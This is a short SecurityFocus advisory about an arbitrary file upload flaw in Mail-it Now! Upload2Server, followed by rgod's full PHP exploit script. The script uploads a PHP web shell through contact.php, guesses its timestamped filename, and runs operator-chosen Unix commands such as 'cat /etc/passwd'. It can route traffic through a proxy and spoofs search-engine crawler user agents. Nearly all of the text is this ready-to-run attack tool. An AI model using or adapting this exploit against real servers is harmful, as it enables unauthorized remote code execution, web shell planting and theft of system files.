source: https://www.securityfocus.com/bid/14821/info
Mail-it Now! Upload2Server is prone to an arbitrary file upload vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before uploading files.
Successful exploitation will cause the application to execute the file in the security context of the Web server process. This may facilitate unauthorized access; other attacks are also possible.
<?php
/* Mail-it Now! remote code execution
by rgod
site: http://rgod.altervista.org
make these changes in php.ini if you have troubles
with this script:
allow_call_time_pass_reference = on
register_globals = on */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo '<head><title>Mail-it Now! remote commands execution</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1
>>
<style type="text/css">
<!--
body,td,th {color: #00FF00;}
body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
font-style: italic;
}
-->
</style></head>
<body>
<p class="Stile6">Mail-it Now! (possibly prior versions) remote
commands execution</p>
<p class="Stile6">a script by rgod at <a href="http://rgod.altervista
org" target="_blank">http://rgod.altervista.org</a></p>
<table width="84%" >
<tr>
<td width="43%">
<form name="form1" method="post" action="'.$SERVER[PHP_SELF].
?path=value&host=value&port=value&command=value&proxy=value&uploaddir=value
>>
<p>
<input type="text" name="host">
<span class="Stile5">hostname (ex: www.sitename.com) </span></p>
<p>
<input type="text" name="path">
<span class="Stile5">path (ex: /mailitnow/ or just /) </span></p>
<p>
<input type="text" name="uploaddir">
<span class="Stile5">upload directory (usually upload/ )
</span></p>
<p>
<input type="text" name="port" >
<span class="Stile5">specify a port other than 80 (default value)
</span></p>
<p>
<input type="text" name="command">
<span class="Stile5">a Unix command, example: ls -la to list
directories, cat /etc/passwd to show passwd file </span></p>
<p>
<input type="text" name="proxy">
<span class="Stile5">send exploit through an HTTP proxy (ip:port)
</span></p>
<p>
<input type="submit" name="Submit" value="go!">
</p>
</form></td>
</tr>
</table>
</body>
</html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
if (!eregi($proxy_regex,$proxy))
{echo htmlentities($proxy).' -> not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a)
$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
if (($path<>'') and ($host<>'') and ($command<>''))
{
if ($port=='') {$port=80;}
# step 1 -> upload an attachment
//we have an error in "From" field so no mail will be sent
//however the attachment will be uploaded :)
$data='-----------------------------7d53ac1721026e
Content-Disposition: form-data; name="From"
jimihendrix@j@imihendrix.jim
-----------------------------7d53ac1721026e
Content-Disposition: form-data; name="Name"
jimihendrix
-----------------------------7d53ac1721026e
Content-Disposition: form-data; name="Msg"
ciao
-----------------------------7d53ac1721026e
Content-Disposition: form-data; name="fileup[]"; filename="C:\cmd.php"
Content-Type: text/plain
<?php error_reporting(0); system($HTTP_GET_VARS[command]); ?>
-----------------------------7d53ac1721026e
Content-Disposition: form-data; name="fileup[]"; filename=""
Content-Type: application/octet-stream
-----------------------------7d53ac1721026e
Content-Disposition: form-data; name="submit"
Send
-----------------------------7d53ac1721026e--';
if ($proxy=='')
{ $packet="POST ".$path."/contact.php HTTP/1.1\r\n";}
else
{ $packet="POST http://".$host.$path."/contact.php HTTP/1.1\r\n";}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.$path."/contact.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: multipart/form-data;
boundary=---------------------------7d53ac1721026e\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
show($packet);
$mytime=time(); //I do my best to guess filename, contact.php determine it
in this way: [time() function result][-][filename you choose]
sendpacket($packet);
# step 2 -> launch commands...
echo 'if contact.php is vulnerable, now you will see '
htmlentities($command).' output <br>';
for ($i=0; $i<=3; $i++) //no more of 3 retries...
{
if ($proxy=='')
{$packet="GET ".$path.$uploaddir.strval($mytime+$i)."-cmd.php?command="
urlencode($command)." HTTP/1.1\r\n";}
else
{$packet="GET http://".$host.$path.$uploaddir.strval($mytime+$i)."-cmd
php?command=".urlencode($command)." HTTP/1.1\r\n";}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host."\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: msnbot/1.0 (+http://search.msn.com/msnbot.htm)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Keep-Alive\r\n\r\n";
show($packet);
sendpacket($packet);
if (!eregi('was not found on this server',$html)) {break;} //cycle until you
do not have a NOT FOUND error message
}
}
?>
